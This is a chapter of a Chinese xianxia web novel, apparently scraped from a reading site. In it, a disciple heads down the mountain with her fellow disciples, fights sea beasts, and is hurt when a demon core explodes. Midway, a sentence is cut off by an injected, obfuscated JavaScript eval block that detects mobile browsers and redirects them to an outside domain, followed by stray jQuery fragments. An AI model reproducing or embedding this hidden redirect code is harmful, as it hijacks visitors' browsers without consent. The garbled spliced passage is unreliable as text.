无凌峰上盏盏灯明悬挂,屋内跪着一位女子,周身衣摆全都散落在地,她正在苦苦哀求着。
“师尊,徒儿学艺不精,什么都不会,下山就只会给师兄师姐添麻烦,您就把我的名字划去,让我留在您膝下勤侍奉吧!”
白芜玉委屈巴巴地揪着竹鸿的衣袖晃动,紧抿着唇,声音细软:“师尊,我离开您可怎么活呀。师尊,您知道我是......,就别让我离开你的视线呗。”
竹鸿长叹,从她手里夺过衣摆,道:“并非是为师让你下山,只是山门宗规,不得不遵,你自己多多注意便可。”
白芜玉往他身边跪近几分距离,小心翼翼道:“啊?您不管我了?”
“历练才有成长,你总龟缩于我身侧也不是长久路。芜玉,你已然有改变的能力,就应当与他们沆瀣一气,逃避非明智之选,诚责不可卸,因果不可推。”
竹鸿起身,作势要离开。
她一下子就抱住竹鸿的大腿,倔强地抬起眼睛。
竹鸿敛着眉,道:“你又没听懂?”
那双狐狸眼透着清澈的愚蠢,抱住大腿的手又收紧了几分。
“平时三天打鱼两天晒网,芜玉你怎么得了。”竹鸿扶额,无语凝噎,只好浓缩一遍刚才的话术:“此前你接过除妖委任,如今该你践诺了。”
白芜玉松开手,满脸一副纠结摸样。
竹鸿临走时,给她留了避妖气的药丹,得了些许自由后,他以最快速度离开无凌峰。
她一骨碌从地上爬起来,准备去收拾下山的行李。
既然不能逃避,就只能坦然接受了。
万一结局和想象中不一样呢。
刚退出房门,她一转身就碰见脸色难看的雪寻舟。
白芜玉垂眸看见他手上的册子,忐忑开口:“雪师兄,你也找师尊么?”
雪寻舟透过窗户看了一眼,眯着眸子望她,愠怒道:“你又把师尊气走了?”
她有些结巴,道:“我问...问题。”
“以后来问我!”
他只留下这句话便拂袖离去。
他们师兄妹接触甚少,讲话从不超过十句。
天边渐渐复苏,染开一抹初阳。
白芜玉揉着惺忪的眼慢慢走出无凌峰,一整晚都不曾睡好,总在迷离之际就止不住胡思乱想。
临近宗门外时,她瞧见无蒂尘给大家分了一个紫色锦囊,相比三年前他变得温和了不少。
他竟然比凌弃要矮上几分,眼中锐利减少,更多的是尊敬。
她走上前去,刚好他手里的锦囊分发完,一共四个锦囊,而此次下山共有五人。
是忘了吧?
还是说拿少了一个。
白芜玉露出笑容,大大方方跟他们打招呼。
无蒂尘淡淡瞥了她一眼,将手放进袖子里,而后站于秋予织身侧。
凌弃这次规规矩矩站在雪寻舟身侧,脸都要笑烂了,别提有多高兴了。
她不解,有这么期待下山吗?
等了许久都没见竹鸿现身,宗主提议他们就此饯行,前往临杨送药途中艰险难测,需得随机应变,多多提防。
一行人匆匆应下,毕恭毕敬地拜别秋忘寅。
白芜玉一脸蒙圈,什么送药?下山不是去除妖的么?怎么是去送药?
难道只有在这种小差事才能放心她下山?
她紧紧挽着秋予织的手,俨然看不见一侧面目可憎的无蒂尘。
无蒂尘环臂于胸前,漫不经心道:“玉师妹缠人的本领好生厉害。”
白芜玉没听懂,笑呵呵道:“谢谢夸奖。”
无蒂尘:“......”
秋予织看穿他的意图,无奈道:“阿尘,你不小了,何必与师妹争?”
无蒂尘小声嘟囔:“明明以前...你都是牵我的。”
凌弃白了他一眼,嫌弃道:“矫情,造作。”
“你说谁矫情?谁造作?”
“当然是你呀,无蒂尘!”
无蒂尘气不打一处来,抬手就要动手打凌弃,两人你追我赶,好是热闹。
这一路走来,秋予织还以为不消停,闹腾的会是白芜玉。
没想到是这俩货。
几人穿过熙熙攘攘的高树林,白芜玉被林中的湖水吸引,忙不停上前查看。
“师姐,你看这湖水和宗门蓝池里的水好像呀,都是湛蓝湛蓝的,好看极了。”
秋予织顺势看去,一望无际的蓝水波光粼粼。
忽然,雪寻舟出声提醒:“高树林立于山涧中位,四周应是茫茫荒野,怎么会有湖水,而且这水的颜色很不对劲。”
此话一出,大家纷纷警惕起来,略过湖水直径往前赶路。
秋予织似乎想到什么,轻轻拍了白芜玉的手背,道:“若有突发状况,你速速找地躲起来,敌暗我明交起手来,我恐怕会顾及不到你。”
白芜玉坚定地点头,狗狗祟祟环视起周身。
其余人则时刻做好战斗准备。
这片高树林他们走了很久,一直未能走出去,在沿途留下的标记也没能遇见,说明不是在兜圈子。
起初是水不正常,如今是路不正常。
他们停下脚步原地休息,照这样是不可能顺利走出高树林,只能把暗中作怪的东西给揪出来,才不会被眼前的迷障困住。
白芜玉累得趴在地上,一会儿挠挠脸,一会儿挠挠腿,刚坐起来就看见一滩蓝水朝他们席卷而来。
吓得她大叫:“师姐!那湖里的水变异,上岸来了!”
秋予织立马将她护至身后,侧过脸严肃道:“去找地方躲起来。”
白芜玉一听,一溜烟躲进草垛里。
雪寻舟大手一挥,喝道:“滚出来!”
随着他的手法变幻,凝结的灵力牢牢附注在那滩蓝水之上,导致它进退两难。
一番僵持下,不知从何处蹦出四只青面獠牙,奇丑无比的海兽,它们所到之处都残留着蓝水。
此刻的蓝水被海兽附着皆带有腐蚀性,而被蓝水灌溉的草木瞬间凋落枯萎。
他们四人一人对付一只海兽,白芜玉则是躲在暗中观察。
秋予织抬手召来一把似寒月凝霜的宝剑,柄上镶嵌一颗琉璃珠,剑柄转动在她手上运筹帷幄,此物是她的本命法器——听琴。
无蒂尘手持一管玉笛,由千年古玉雕刻,笛子内部蕴含鲛鳞,此物是他的法器——梦归笛。
雪寻舟召唤泠云戟,戟尖锋利如冰,三下五除二击溃海兽。
长戟刺入腹部,顺势下压挑起,将那只海兽甩飞好远,紧接着,他赶忙跑去帮凌弃。
草垛里,白芜玉看得正起劲儿,忽然,一只硕大的海兽重重摔在她眼前。
四目相对,鸦雀无声,彼时空气中凝结诡异的氛围。
她一时呆愣住,不知作何反应。
反倒是那只受伤的海兽,嘿咻嘿咻地龇起大牙乐起来,道:“啊哈哈哈哈!感谢大自然的馈赠!”
话音一落,海兽朝着她扑来。
白芜玉撒腿就跑,嘴里还不忘骂骂咧咧。
不是叫我躲起来吗?
干嘛还要往我这边引?
真踏马服了!
她铆足了劲跑出二里地,身后的海兽穷追不舍。
实在是跑不动了,她抬手结印,心中默念咒语,朝着海兽打出一道暴击。
可这点威力对海兽来说就是挠痒痒。
海兽抬起二百斤的手臂往她身上砸,她敏捷躲过后迎面结结实实又挨了一掌。
“呸!”她啐了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16279881|182506||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一口,艰难爬起来。
这死东西力气还蛮大!
还不等她缓过劲,海兽再次抬手朝她袭来。
她一个侧身下腰,迅速攀岩上手臂,爬到海兽肩膀,捏紧拳头打爆它的眼珠。
“让你打我!还打我的脸!戳死你!戳死你!!!”
海兽一阵嘶吼,将她震了下来。
白芜玉一刻不敢停,立马折返回去。
不能走太远,若是他们脱困,肯定是要回来找她的。
才刚跑出一段距离,海兽就追了上来。
她一回头,将手里早结好的印记蓄力推了出去,嘴里还念念有词:“万物聚现,化虚为引,敕!”
一记绚丽又附着符咒的结印狠狠击中飞奔而来的海兽,只闻轰的一声,卷起的飞沙下是倒地不起的它。
白芜玉不可置信地看了看自己的双手,又非常满意的望向死得透透的海兽。
不愧是我!真厉害呢!
只可惜这种战利品只能自己欣赏了。
正当她要离去时,发现海兽嘴里冒着光彩熠熠。
莫不是这妖的嘴里有宝贝?!
在好奇心的驱使下,她谨慎地走过去,又小心翼翼地蹲下,揪起海兽的胡须往上提拉。
大嘴子一掀开,扑面而来的是恶臭味混杂着血腥味。
“呕!”
白芜玉当场就哇哇大吐,那味儿只能用十年,不!二十年的旱厕来形容。
再者她对血腥味较为敏感,十分讨厌那种味道。
缓了好一阵,她又贼心不死想要拿到那颗发光的珠子。
其实,她要是没猜错的话,这海兽嘴里含着的珠就是它的内丹。
而没了内丹的妖跟废物没什么两样。
妖族修炼最大的助力便是要依仗妖丹,催动一身妖法需得妖丹蓄力,且妖族很狭隘,天性便是强者为王,所以会经常觊觎他妖的内丹。
当然她也不例外。
白芜玉想方设法取出海兽的妖丹,并在上施了一层保护膜,碧蓝银根的海兽妖丹悬浮在她的掌心中。
她勾唇一笑,百年修为的妖丹在妖族很常见,即便她驱使不了,也能盘在手里当个战利品。
可是,她忽略了很严重的问题。
海兽与其他妖种不一样,妖丹一旦离开主体便会产生爆炸,其威力不容小觑,这也是海兽为自己能留下的最后体面。
就算爆炸也不便宜别人。
此时的白芜玉还不知道手里的妖丹会爆,正乐不思蜀地左右观望。
手里的妖丹忽然裂开一条缝隙,还伴随着一声细微碎玻璃的响动,她皱眉凝视,仍旧一头雾水。
过了小一阵子,妖丹又猛地裂开,裂缝以最快速度布满整颗妖丹。
而她终于发现了不对劲,赶忙将手里的妖丹给抛了出去。
说时迟那时快,妖丹在她抛出的一刹那瞬间爆开,一声巨响将四周震得飞沙走石,在扬起的风沙下隐约看见一个人影飞了出去。
——
不知道过了多久,白芜玉才悠悠转醒,颅内一阵阵刺痛,身上也痛,手脚更痛,反正就是哪里都很不对劲。
她勉强撑着身子坐起来,猛然看见两条手臂上爬满了老鼠,它们在啃食她的血肉!
再抬眼望去,一只黑熊正张开血盆大口来咬她的小腿。
身体比她的大脑先做出反应,躲过黑熊的口齿,她忍着生理恶心将手臂上的老鼠拿下来。
黑熊正虎视眈眈地盯着她。
白芜玉的眼神由恶心转变成凌厉。
一只手捡起地上的石头站起来,另一只手摸上脑袋取出一支发钗。
月光下的溪边,一人一熊对立而站。
她转动手里的发钗,作势上前,以锋利的钗尖与它决战。